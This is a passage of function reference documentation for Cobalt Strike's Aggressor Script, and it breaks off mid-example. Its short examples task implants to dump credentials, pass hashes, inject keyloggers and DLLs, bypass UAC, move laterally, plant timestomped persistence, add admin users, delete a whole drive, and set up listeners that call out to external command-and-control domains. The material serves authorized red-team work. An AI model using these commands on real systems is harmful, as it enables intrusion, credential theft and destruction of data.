Functions

Navigation

This is a list of Aggressor Script's functions

action

Post a public action message to the event log. This is similar to the /me command.

Arguments

`$1` - the message

Example

```
action("dances!");
```

addTab

create a tab to display a GUI object.

Arguments

`$1` - the title of the tab
`$2` - a GUI object. A GUI object is one that is an instance of **javax.swing.JComponent**.
`$3` - a tooltip to display when a user hovers over this tab.

Example

```
$label = [new javax.swing.JLabel: "Hello World"];
addTab("Hello!", $label, "this is an example");
```

addVisualization

Register a visualization with Cobalt Strike.

Arguments

`$1` - the name of the visualization
`$2` - a **javax.swing.JComponent** object

Example

```
$label = [new javax.swing.JLabel: "Hello World!"];
addVisualization("Hello World", $label);
```

See Also

&showVisualization (functions.html#showVisualization)

alias

Creates an alias command in the Beacon console

Arguments

`$1` - the alias name to bind to
`$2` - a callback function. Called when the user runs the alias. Arguments are: $0 = command run, $1 = beacon id, $2 = arguments.

Example

```
alias("foo", {
        btask($1, "foo!");
});
```

applications

Returns a list of application information in Cobalt Strike's data model. These applications are results from the System Profiler.

Returns

An array of dictionary objects with information about each application.

Example

```
printAll(applications());
```

archives

Returns a massive list of archived information about your activity from Cobalt Strike's data model. This information is leaned on heavily to reconstruct your activity timeline in Cobalt Strike's reports.

Returns

An array of dictionary objects with information about your team's activity.

Example

```
foreach $index => $entry (archives()) {
	println("\c3( $+ $index $+ )\o $entry");
}
```

artifact

Generates an artifact (exe, dll) from a Cobalt Strike listener

Arguments

`$1` - the listener name
`$2` - the artifact type
`$3` - [optional] true/false: is this shellcode destined for a remote target?

Type	Description
dll	an x86 DLL
dllx64	an x64 DLL
exe	a plain executable
svcexe	a service executable

Returns

A scalar containing the specified artifact.

Example

```
$data = artifact("my listener", "exe");

$handle = openf(">out.exe");
writeb($handle, $data);
closef($handle);
```

base64_decode

Unwrap a base64-encoded string

Arguments

`$1` - the string to decode

Returns

The argument processed by a base64 decoder

Example

```
println(base64_decode(base64_encode("this is a test")));
```

base64_encode

Base64 encode a string

Arguments

`$1` - the string to encode

Returns

The argument processed by a base64 encoder

Example

```
println(base64_encode("this is a test"));
```

bbrowser

Generate the beacon browser GUI component.

Returns

The beacon browser GUI object (a **javax.swing.JComponent**)

Example

```
addVisualization("Beacon Browser", bbrowser());
```

See Also

&showVisualization (functions.html#showVisualization)

bbrowserpivot

Start a Browser Pivot

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the PID to inject the browser pivot agent into.
`$3` - the architecture of the target PID (x86|x64)

Example

```
bbrowserpivot($1, 1234, "x86");
```

bbrowserpivot_stop

Stop a Browser Pivot

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
bbrowserpivot_stop($1);
```

bbypassuac

Run the bypass UAC attack.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the listener to target.

Example

```
item "&Bypass UAC" {
        openPayloadHelper(lambda({
                binput($bids, "bypassuac $1");
                bbypassuac($bids, $1);
        }, $bids => $1));
}
```

bcancel

Cancel a file download

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the file to cancel or a wildcard.

Example

```
item "&Cancel Downloads" {
        bcancel($1, "*");
}
```

bcd

Ask a Beacon to change it's current working directory.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the folder to change to.

Example

```
# create a command to change to the user's home directory
alias home {
	$home = "c:\\users\\" . binfo($1, "user");
	bcd($1, $home);
}
```

bcheckin

Ask a Beacon to checkin. This is basically a no-op for Beacon.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
item "&Checkin" {
	binput($1, "checkin");
	bcheckin($1);
}
```

bclear

This is the "oops" command. It clears the queued tasks for the specified beacon.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
bclear($1);
```

bcovertvpn

Ask Beacon to deploy a Covert VPN client.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the Covert VPN interface to deploy
`$3` - the IP address of the interface [on target] to bridge into
`$4` - [optional] the MAC address of the Covert VPN interface

Example

```
bcovertvpn($1, "phear0", "172.16.48.18");
```

bdata

Get metadata for a Beacon session.

Arguments

`$1` - the id for the beacon to pull metadata for

Returns

A dictionary object with metadata about the Beacon session.

Example

```
println(bdata("1234"));
```

bdcsync

Use mimikatz's dcsync command to pull a user's password hash from a domain controller.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - fully qualified name of the domain
`$3` - DOMAIN\user to pull hashes for

Example

```
bdcsync($1, "PLAYLAND.testlab", "PLAYLAND\\Administrator");
```

bdesktop

Start a VNC session.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
item "&Desktop (VNC)" {
	bdesktop($1);
}
```

bdllinject

Inject a Reflective DLL into a process.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the PID to inject the DLL into
`$3` - the local path to the Reflective DLL

Example

```
bdllinject($1, 1234, script_resource("test.dll"));
```

bdownload

Ask a Beacon to download a file

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the file to request

Example

```
bdownload($1, "c:\\sysprep.inf");
```

bdrives

Ask Beacon to list the drives on the compromised system

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
item "&Drives" {
	binput($1, "drives");
	bdrives($1);
}
```

beacon_command_describe

Describe a Beacon command.

Returns

A string description of the Beacon command.

Arguments

`$1` - the command

Example

```
println(beacon_command_describe("ls"));
```

beacon_command_detail

Get the help information for a Beacon command.

Returns

A string with helpful information about a Beacon command.

Arguments

`$1` - the command

Example

```
println(beacon_command_detail("ls"));
```

beacon_command_register

Register help information for a Beacon command.

Arguments

`$1` - the command
`$2` - the short description of the command
`$3` - the long-form help for the command.

Example

```
alis echo {
        blog($1, "You typed: " . substr($1, 5));
}

beacon_command_register(
        "echo",
        "echo text to beacon log",
        "Synopsis: echo [arguments]\n\nLog arguments to the beacon consol
e");
```

beacon_commands

Get a list of Beacon commands.

Returns

An array of Beacon commands.

Example

```
printAll(beacon_commands());
```

beacon_data

Get metadata for a Beacon session.

Arguments

`$1` - the id for the beacon to pull metadata for

Returns

A dictionary object with metadata about the Beacon session.

Example

```
println(beacon_data("1234"));
```

beacon_info

Get information from a Beacon session's metadata.

Arguments

`$1` - the id for the beacon to pull metadata for
`$2` - the key to extract

Returns

A string with the requested information.

Example

```
println("User is: " . beacon_info("1234", "user"));
println("PID  is: " . beacon_info("1234", "pid"));
```

beacons

Get information about all Beacons calling back to this Cobalt Strike team server.

Returns

An array of dictionary objects with information about each beacon.

Example

```
foreach $beacon (beacons()) {
	println("Bid: " . $beacon['id'] . " is " . $beacon['name']);
}
```

belevate

Ask Beacon to elevate with a memory corruption exploit.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the listener to target.

Example

```
item "&Elevate 31337" {
	openPayloadHelper(lambda({
		binput($bids, "elevate $1");
		belevate($bids, $1);
	}, $bids => $1));
}
```

berror

Publish an error message to the Beacon transcript

Arguments

`$1` - the id for the beacon to post to
`$2` - the text to post

Example

```
alias donotrun {
	berror($1, "You should never run this command!");
}
```

bexecute

Ask Beacon to execute a command [without a shell]. This provides no output to the user.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the command and arguments to run

Example

```
bexecute($1, "notepad.exe");
```

bexit

Ask a Beacon to exit.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
item "&Die" {
	binput($1, "exit");
	bexit($1);
}
```

bgetsystem

Ask Beacon to attempt to get the SYSTEM token.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
item "Get &SYSTEM" {
        binput($1, "getsystem");
        bgetsystem($1);
}
```

bgetuid

Ask Beacon to print the User ID of the current token

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

```
bgetuid($1);
```

bhashdump

Ask Beacon to dump local account password hashes.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
item "Dump &Hashes" {
        binput($1, "hashdump");
        bhashdump($1);
}
```

binfo

Get information from a Beacon session's metadata.

Arguments

`$1` - the id for the beacon to pull metadata for
`$2` - the key to extract

Returns

A string with the requested information.

Example

```
println("User is: " . binfo("1234", "user"));
println("PID  is: " . binfo("1234", "pid"));
```

binject

Ask Beacon to inject a session into a specific process

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the process to inject the session into
`$3` - the listener to target.

Example

```
binject($1, 1234, "my listener");
```

binput

Report a command was run to the Beacon console and logs. Scripts that execute commands for the user (e.g., events, popup menus) should use this function to assure operator attribution of automated actions in Beacon's logs.

Arguments

`$1` - the id for the beacon to post to
`$2` - the text to post

Example

```
# indicate the user ran the ls command
binput($1, "ls");
```

bjobkill

Ask Beacon to kill a running post-exploitation job

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the job ID.

Example

```
bjobkill($1, 0);
```

bjobs

Ask Beacon to list running post-exploitation jobs.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
bjobs($1);
```

bkerberos_ccache_use

Ask beacon to inject a UNIX kerberos ccache file into the user's kerberos tray

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the local path the ccache file

Example

```
alias kerberos_ccache_use {
	bkerberos_ccache_use($1, $2);
}
```

bkerberos_ticket_purge

Ask beacon to purge tickets from the user's kerberos tray

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
alias kerberos_ticket_purge {
	bkerberos_ticket_purge($1);
}
```

bkerberos_ticket_use

Ask beacon to inject a mimikatz kirbi file into the user's kerberos tray

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the local path the kirbi file

Example

```
alias kerberos_ticket_use {
        bkerberos_ticket_use($1, $2);
}
```

bkeylogger

Injects a keystroke logger into a process.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the PID to inject the keystroke logger into.
`$3` - the architecture of the target PID (x86|x64)

Example

```
bkeylogger($1, 1234, "x64");
```

bkill

Ask Beacon to kill a process

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the PID to kill

Example

```
bkill($1, 1234);
```

blink

Ask Beacon to link to a host over a named pipe

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the target to link to

Example

```
blink($1, "DC");
```

blog

Post a message to WordPress.com (just kidding). Publishes an output message to the Beacon transcript.

==== Arguments

`$1` - the id for the beacon to post to
`$2` - the text to post

Example

```
alias demo {
        blog($1, "I am output for the blog function");
}
```

blog2

Publishes an output message to the Beacon transcript. This function has an alternate format from &blog (functions.html#blog)

Arguments

`$1` - the id for the beacon to post to
`$2` - the text to post

Example

```
alias demo2 {
        blog2($1, "I am output for the blog2 function");
}
```

bloginuser

Ask Beacon to create a token from the specified credentials. This is the make_token command.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the domain of the user
`$3` - the user's username
`$4` - the user's password

Example

```
# make a token for a user with an empty password
alias make_token_empty {
        local('$domain $user');
        ($domain, $user) = split("\\\\", $2);]
        bloginuser($1, $domain, $user, "");
}
```

blogonpasswords

Ask Beacon to dump in-memory credentials with mimikatz

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
item "Dump &Passwords" {
        binput($1, "logonpasswords");
        blogonpasswords($1);
}
```

bls

Task a Beacon to list files

Variations

```
bls($1, "folder");
```

Output the results to the Beacon console.

```
bls($1, "folder", &call (functions.html#call)back);
```

Route results to the specified callback function.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the folder to list files for. Use . for the current folder.
`$3` - an optional callback function with the ps results. Arguments to the callback are: $1 = beacon ID, $2 = the folder, $3 = results

Example

```
on beacon_initial {
	bls($1, ".");
}
```

bmimikatz

Ask Beacon to run a mimikatz command.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the command and arguments to run

Example

```
alias coffee {
	bmimikatz($1, "standard::coffee");
}
```

bmkdir

Ask Beacon to make a directory

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the folder to create

Example

```
bmkdir($1, "you are owned");
```

bmode

Change the data channel for a DNS Beacon.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the data channel (e.g., dns, dns-txt, http, and smb)

Example

```
item "Mode DNS-TXT" {
        binput($1, "mode dns-txt");
        bmode($1, "dns-txt");
}
```

bnote

Assign a note to the specified Beacon.

Arguments

`$1` - the id for the beacon to post to

`$2` - the note content

Example

```
bnote($1, "foo");
```

bpassthehash

Ask Beacon to create a token that passes the specified hash. This is the pth command in Beacon. It uses mimikatz.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

`$2` - the domain of the user

`$3` - the user's username

`$4` - the user's password hash

Example

```
bpassthehash($1, "GLITTER", "Administrator", $hash);
```

bpause

Ask Beacon to pause its execution. This is a one-off sleep.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

`$2` - how long the Beacon should pause execution for

Example

```
alias pause {
        bpause($1, int($2));
}
```

bportscan

Ask Beacon to run its port scanner.

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the targets to scan (e.g., 192.168.12.0/24)
$3 - the ports to scan (e.g., 1-1024,6667)
$4 - the discovery method to use (arp|icmp|none)
$5 - the max number of sockets to use (e.g., 1024)

Example

```
bportscan($1, "192.168.12.0/24", "1-1024,6667", "arp", 1024);
```

bpowershell

Ask Beacon to run a PowerShell cmdlet

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the cmdlet and arguments

Example

```
# get the version of PowerShell...
alias powerver {
        bpowershell($1, '$PSVersionTable.PSVersion');
}
```

bpowershell_import

Import a PowerShell script into a Beacon

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the path to the local file to import

Example

```
# quickly run PowerUp
alias powerup {
        bpowershell_import($1, script_resource("PowerUp.ps1"));
        bpowershell($1, "Invoke-AllChecks");
}
```

bps

Task a Beacon to list processes

Variations

```
bps($1);
```

Output the results to the Beacon console.

```
bps($1, &call (functions.html#call)back);
```

Route results to the specified callback function.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

`$2` - an optional callback function with the ps results. Arguments to the callback are: $1 = beacon ID, $2 = results

Example

```
on beacon_initial {
        bps($1);
}
```

bpsexec

Ask Beacon to spawn a payload on a remote host. This function generates an Artifact Kit executable, copies it to the target, and creates a service to run it. Clean up is included too.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

`$2` - the target to spawn a payload onto

`$3` - the listener to spawn

`$4` - the share to copy the executable to

Example

```
brev2self();
bloginuser($1, "CORP", "Administrator", "toor");
bpsexec($1, "172.16.48.3", "my listener", "ADMIN\$");
```

bpsexec_psh

Ask Beacon to spawn a payload on a remote host. This function creates a service to run a PowerShell one-liner.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the target to spawn a payload onto
`$3` - the listener to spawn

Example

```
brev2self();
bloginuser($1, "CORP", "Administrator", "toor");
bpsexec_psh($1, "172.16.48.3", "my listener");
```

bpwd

Ask Beacon to print its current working directory

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
alias pwd {
	bpwd($1);
}
```

brev2self

Ask Beacon to drop its current token. This calls the RevertToSelf() Win32 API.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

```
alias rev2self {
	brev2self($1);
}
```

brm

Ask Beacon to remove a file or folder.

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the file or folder to remove

Example

```
# nuke the system
brm($1, "c:\\");
```

brportfwd

Ask Beacon to setup a reverse port forward.

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the port to bind to on the target
$3 - the host to forward connections to
$4 - the port to forward connections to

Example

```
brportfwd($1, 80, "192.168.12.88", 80);
```

brportfwd_stop

Ask Beacon to stop a reverse port forward

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the port bound on the target

Example

```
brportfwd_stop($1, 80);
```

brunas

Ask Beacon to run a command as another user.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the domain of the user
`$3` - the user's username
`$4` - the user's password
`$5` - the command to run

Example

```
brunas($1, "CORP", "Administrator", "toor", "notepad.exe");
```

bscreenshot

Ask Beacon to take a screenshot

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - how long to take the screenshot for

Example

```
item "&Screenshot" {
	binput($1, "screenshot");
	bscreenshot($1, 0);
}
```

bshell

Ask Beacon to run a command with cmd.exe

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the command and arguments to run

Example

```
alias adduser {
	bshell($1, "net user $2 B00gyW00gy1234! /ADD");
	bshell($1, "net localgroup \"Administrators\" $2 /ADD");
}
```

bsleep

Ask Beacon to change its beaconing interval and jitter factor.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the number of **milliseconds** between beacons.
`$3` - the jitter factor [0-99]

Example

```
alias stealthy {
        # sleep for 1 hour with 30% jitter factor
        bsleep($1, 60 * 60 * 1000, 30);
}
```

bsocks

Start a SOCKS proxy server associated with a beacon.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the port to bind to

Example

```
alias socks1234 {
        bsocks($1, 1234);
}
```

bsocks_stop

Stop SOCKS proxy servers associated with the specified Beacon.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
alias stopsocks {
        bsocks_stop($1);
}
```

bspawn

Ask Beacon to spawn a new session

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the listener to target.

Example

```
item "&Spawn" {
	openPayloadHelper(lambda({
		binput($bids, "spawn $1");
		bspawn($bids, $1);
	}, $bids => $1));
}
```

bspawnas

Ask Beacon to spawn a session as another user.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the domain of the user
`$3` - the user's username
`$4` - the user's password
`$5` - the listener to spawn

Example

```
bspawnas($1, "CORP", "Administrator", "toor", "my listener");
```

bspawnto

Change the default program Beacon spawns to inject capabilities into.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the program to spawn

Example

```
# let's make everything lame.
on beacon_initial {
	bspawnto($1, "notepad.exe");
}
```

bstage

This function handles the staging process for a bind listener. If the specified listener is not a bind listener, this function does nothing. Otherwise, it completes the staging protocol over a named pipe or a local socket.

Arguments

`$1` - the id of the beacon to stage through
`$2` - the target host to stage to [bind_pipe] or $null for localhost [bind_tcp]
`$3` - the listener to stage

Example

```
# stage [target] [listener name]
alias stage {
	bstage($1, $2, $3);
}
```

bsteal_token

Ask Beacon to steal a token from a process.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the PID to take the token from

Example

```
alias steal_token {
	bsteal_token($1, int($2));
}
```

btask

Report a task acknowledgement for a Beacon. This task acknowledgement will also contribute to the narrative in Cobalt Strike's Activity Report and Sessions Report.

Arguments

`$1` - the id for the beacon to post to
`$2` - the text to post

Example

```
alias foo {
        btask($1, "User tasked beacon to foo");
}
```

btimestomp

Ask Beacon to change the file modified/accessed/created times to match another file.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the file to update timestamp values for
`$3` - the file to grab timestamp values from

Example

```
alias persist {
        bcd($1, "c:\\windows\\system32");
        bupload($1, script_resource("evil.exe"));
        btimestomp($1, "evil.exe", "cmd.exe");
        bshell($1, 'sc create evil binpath= "c:\\windows\\system32\\evil.
exe"');
        bshell($1, 'sc start netsrv');
}
```

bunlink

Ask Beacon to delink a Beacon its connected to over a named pipe.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the target host to unlink (specified as an IP address)

Example

```
bunlink($1, "172.16.48.3");
```

bupload

Ask a Beacon to upload a file

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

`$2` - the local path to the file to upload

Example

```
bupload($1, script_resource("evil.exe"));
```

bupload_raw

Ask a Beacon to upload a file

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the remote file name of the file
`$3` - the raw content of the file
`$4` - [optional] the local path to the file (if there is one)

Example

```
$data = artifact("my listener", "exe");
bupload_raw($1, "\\\\DC\\C$\\foo.exe", $data);
```

bwdigest

Ask Beacon to dump in-memory credentials with mimikatz [with the wdigest command]. The &blogonpasswords (functions.html#blogonpasswords) option is superior to this command.

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
item "Dump &Passwords (WDigest)" {
        binput($1, "wdigest");
        bwdigest($1);
}
```

bwinrm

Ask Beacon to spawn a payload on a remote host. This function uses WinRM to run a PowerShell one-liner

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

`$2` - the target to spawn a payload onto
`$3` - the listener to spawn

Example

```
brev2self();
bloginuser($1, "CORP", "Administrator", "toor");
bwinrm($1, "172.16.48.3", "my listener");
```

bwmi

Ask Beacon to spawn a payload on a remote host. This function uses WMI to run a PowerShell one-liner

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.
`$2` - the target to spawn a payload onto
`$3` - the listener to spawn

Example

```
brev2self();
bloginuser($1, "CORP", "Administrator", "toor");
bwmi($1, "172.16.48.3", "my listener");
```

call

Issue a call to the team server.

Arguments

`$1` - the command name
`$2` - a callback to receive a response to this request. The callback will receive two arguments. The first is the call name. The second is the response.
`...` - one or more arguments to pass into this call.

Example

```
call("aggressor.ping", { warn(@_); }, "this is my value");
```

closeClient

Close the current Cobalt Strike team server connection.

Example

```
closeClient();
```

credentials

Returns a list of application credentials in Cobalt Strike's data model.

Returns

An array of dictionary objects with information about each credential entry.

Example

```
printAll(credentials());
```

data_keys

List the query-able keys from Cobalt Strike's data model

Returns

A list of keys that you may query with &data_query (functions.html#data_query)

Example

```
foreach $key (data_keys()) {
        println("\n\c4=== $key ===\n");
        println(data_query($key));
}
```

data_query

Queries Cobalt Strike's data model

Arguments

`$1` - the key to pull from the data model

Returns

A Sleep representation of the queried data.

Example

```
println(data_query("targets"));
```

dispatch_event

Call a function in Java Swing's Event Dispatch Thread. Java's Swing Library is not thread safe. All changes to the user interface should happen from the Event Dispatch Thread.

Arguments

`$1` - the function to call

Example

```
dispatch_event({
        println("Hello World");
});
```

downloads

Returns a list of downloads in Cobalt Strike's data model.

Returns

An array of dictionary objects with information about each downloaded file.

Example

```
printAll(downloads());
```

dstamp

Format a time into a date/time value. This value includes seconds.

Arguments

`$1` - the time [milliseconds since the UNIX epoch]

Example

```
println("The time is now: " . dstamp(ticks());
```

See Also

&tstamp (functions.html#tstamp)

elog

Publish a notification to the event log

Arguments

`$1` - the message

Example

```
elog("The robot invasion has begun!");
```

fireAlias

Runs a user-defined alias

Arguments

`$1` - the beacon id to run the alias against
`$2` - the alias name to run
`$3` - the arguments to pass to the alias.

Example

```
# run the foo alias when a new Beacon comes in
on beacon_initial {
        fireAlias($1, "foo", "bar!");
}
```

fireEvent

Fire an event.

Arguments

`$1` - the event name
`...` - the event arguments.

Example

```
on foo {
        println("Argument is: $1");
}

fireEvent("foo", "Hello World!");
```

format_size

Formats a number into a size (e.g., 1024 => 1kb)

Arguments

`$1` - the size to format

Returns

A string representing a human readable data size.

Example

```
println(format_size(1024));
```

host_delete

Delete a host from the targets model

Arguments

`$1` - the IPv4 or IPv6 address of this target [you may specify an array of hosts too]

Example

```
# clear all hosts
host_delete(hosts());
```

host_info

Get information about a target.

Arguments

`$1` - the host IPv4 or IPv6 address
`$2` - [Optional] the key to extract a value for

Returns

```
%info = host_info("address");
```

Returns a dictionary with known information about this target.

```
$value = host_info("address", "key");
```

Returns the value for the specified key from this target's entry in the data model.

Example

```
# create a script console alias to dump host info
command host {
        println("Host $1");
        foreach $key => $value (host_info($1)) {
                println("$[15]key $value");
        }
}
```

host_update

Add or update a host in the targets model

Arguments

`$1` - the IPv4 or IPv6 address of this target [you may specify an array of hosts too]
`$2` - the DNS name of this target
`$3` - the target's operating system
`$4` - the operating system version number (e.g., 10.0)
`$5` - a note for the target.

Note

You may specify a `$null` value for any argument and, if the host exists, no change will be made to that value.

Example

```
host_update("192.168.20.3", "DC", "Windows", 10.0);
```

hosts

Returns a list of IP addresses from Cobalt Strike's target model

Returns

An array of IP addresses

Example

```
printAll(hosts());
```

insert_menu

Bring menus associated with a popup hook into the current menu tree.

Arguments

`$1` - the popup hook
`...` - additional arguments are passed to the child popup hook.

Example

```
popup beacon {
        # menu definitions above this point
```

```

        insert_menu("beacon_bottom", $1);

        # menu definitions below this point
}
```

keystrokes

Returns a list of keystrokes from Cobalt Strike's data model.

Returns

An array of dictionary objects with information about recorded keystrokes.

Example

```
printAll(keystrokes());
```

licenseKey

Get the license key for this instance of Cobalt Strike

Returns

Your license key.

Example

```
println("Your key is: " . licenseKey());
```

listener_create

Create a new listener.

Arguments

`$1` - the listener name
`$2` - the payload (e.g., windows/beacon_http/reverse_http)
`$3` - the listener host

$4 - the listener port
$5 - a comma separated list of addresses for listener to beacon to

Example

```
# create a foreign listener
listener_create("My Metasploit", "windows/foreign_https/reverse_https",
                "ads.losenolove.com", 443);

# create an HTTP Beacon listener
listener_create("Beacon HTTP", "windows/beacon_http/reverse_http",
                "www.losenolove.com", 80,
                "www.losenolove.com, www2.losenolove.com");
```

listener_delete

Stop and remove a listener.

Arguments

$1 - the listener name

Example

```
listener_delete("Beacon HTTP");
```

listener_describe

Describe a listener.

Arguments

$1 - the listener name
$2 - [Optional] the remote target the listener is destined for

Returns

A string describing the listener

Example

```
foreach $name (listeners()) {
        println("$name is: " . listener_describe($name));
}
```

listener_info

Get information about a listener.

Arguments

`$1` - the listener name
`$2` - [Optional] the key to extract a value for

Returns

```
%info = listener_info("listener name");
```

Returns a dictionary with the metadata for this listener.

```
$value = listener_info("listener name", "key");
```

Returns the value for the specified key from this listener's metadata

Example

```
# create a script console alias to dump listener info
command dump {
        println("Listener $1");
        foreach $key => $value (listener_info($1)) {
                println("$[15]key $value");
        }
}
```

listener_restart

Restart a listener

Arguments

`$1` - the listener name

Example

```
listener_restart("Beacon HTTP");
```

listeners

Return a list of listener names across all team servers this client is connected to.

Returns

An array of listener names.

Example

```
printAll(listeners());
```

listeners_local

Return a list of listener names. This function limits itself to the current team server only.

Returns

An array of listener names.

Example

```
printAll(listeners_local());
```

localip

Get the IP address associated with the team server.

Returns

A string with the team server's IP address.

Example

```
println("I am: " . localip());
```

mynick

Get the nickname associated with the current Cobalt Strike client.

Returns

A string with your nickname.

Example

```
println("I am: " . mynick());
```

nextTab

Activate the tab that is to the right of the current tab.

Example

```
bind Ctrl+Right {
	nextTab();
}
```

openAboutDialog

Open the "About Cobalt Strike" dialog

Example

```
openAboutDialog();
```

openApplicationManager

Open the application manager (system profiler results) tab.

Example

```
openApplicationManager();
```

openAutoRunDialog

Open the Auto Run / USB attack dialog.

Example

```
openAutoRunDialog();
```

openBeaconBrowser

Open the beacon browser tab.

Example

```
openBeaconBrowser();
```

openBeaconConsole

Open the console to interact with a Beacon

Arguments

`$1` - the Beacon ID to apply this feature to

Example

```
item "Interact" {
        local('$bid');
        foreach $bid ($1) {
                openBeaconConsole($bid);
        }
}
```

openBrowserPivotSetup

open the browser pivot setup dialog

Arguments

`$1` - the Beacon ID to apply this feature to

Example

```
item "Browser Pivoting" {
        local('$bid');
        foreach $bid ($1) {
                openBrowserPivotSetup($bid);
        }
}
```

openBypassUACDialog

Open the dialog for the Bypass UAC feature.

Arguments

`$1` - the beacon ID

Example

```
item "Bypass UAC" {
        local('$bid');
        foreach $bid ($1) {
                openBypassUACDialog($bid);
        }
}
```

openCloneSiteDialog

Open the dialog for the website clone tool.

Example

```
openCloneSiteDialog();
```

openConnectDialog

Open the connect dialog.

Example

```
openConnectDialog();
```

openCovertVPNSetup

open the Covert VPN setup dialog

Arguments

`$1` - the Beacon ID to apply this feature to

Example

```
item "VPN Pivoting" {
        local('$bid');
        foreach $bid ($1) {
                openCovertVPNSetup($bid);
        }
}
```

openCredentialManager

Open the credential manager tab.

Example

```
openCredentialManager();
```

openDownloadBrowser

Open the download browser tab

Example

```
openDownloadBrowser();
```

openEventLog

Open the event log.

Example

```
openEventLog();
```

openFileBrowser

Open the file browser for a Beacon

Arguments

`$1` - the Beacon ID to apply this feature to

Example

```
item "Browse Files" {
        local('$bid');
        foreach $bid ($1) {
                openFileBrowser($bid);
        }
}
```

openGoldenTicketDialog

open a dialog to help generate a golden ticket

Arguments

`$1` - the Beacon ID to apply this feature to

Example

```
item "Golden Ticket" {
        local('$bid');
        foreach $bid ($1) {
                openGoldenTicketDialog($bid);
        }
}
```

openHTMLApplicationDialog

Open the HTML Application Dialog.

Example

```
openHTMLApplicationDialog();
```

openHostFileDialog

Open the host file dialog.

Example

```
openHostFileDialog();
```

openInterfaceManager

Open the tab to manage Covert VPN interfaces

Example

```
openInterfaceManager();
```

openJavaSignedAppletDialog

Open the Java Signed Applet dialog

Example

```
openJavaSignedAppletDialog();
```

openJavaSmartAppletDialog

Open the Java Smart Applet dialog

Example

```
openJavaSmartAppletDialog();
```

openJumpDialog

Open Cobalt Strike's lateral movement dialog

Arguments

`$1` - the type of lateral movement. One of: psexec, psexec_psh, winrm, wmi
`$2` - an array of targets to apply this action against

Example

```
openJumpDialog("psexec_psh", @("192.168.1.3", "192.168.1.4"));
```

openKeystrokeBrowser

Open the keystroke browser tab

Example

```
openKeystrokeBrowser();
```

openListenerManager

Open the listener manager

Example

```
openListenerManager();
```

openMakeTokenDialog

open a dialog to help generate an access token

Arguments

`$1` - the Beacon ID to apply this feature to

Example

```
item "Make Token" {
        local('$bid');
        foreach $bid ($1) {
                openMakeTokenDialog($bid);
        }
}
```

openOfficeMacro

Open the office macro export dialog

Example

```
openOfficeMacroDialog();
```

openOrActivate

If a Beacon console exists, make it active. If a Beacon console does not exist, open it.

Arguments

`$1` - the Beacon ID

Example

```
item "&Activate" {
        local('$bid');
        foreach $bid ($1) {
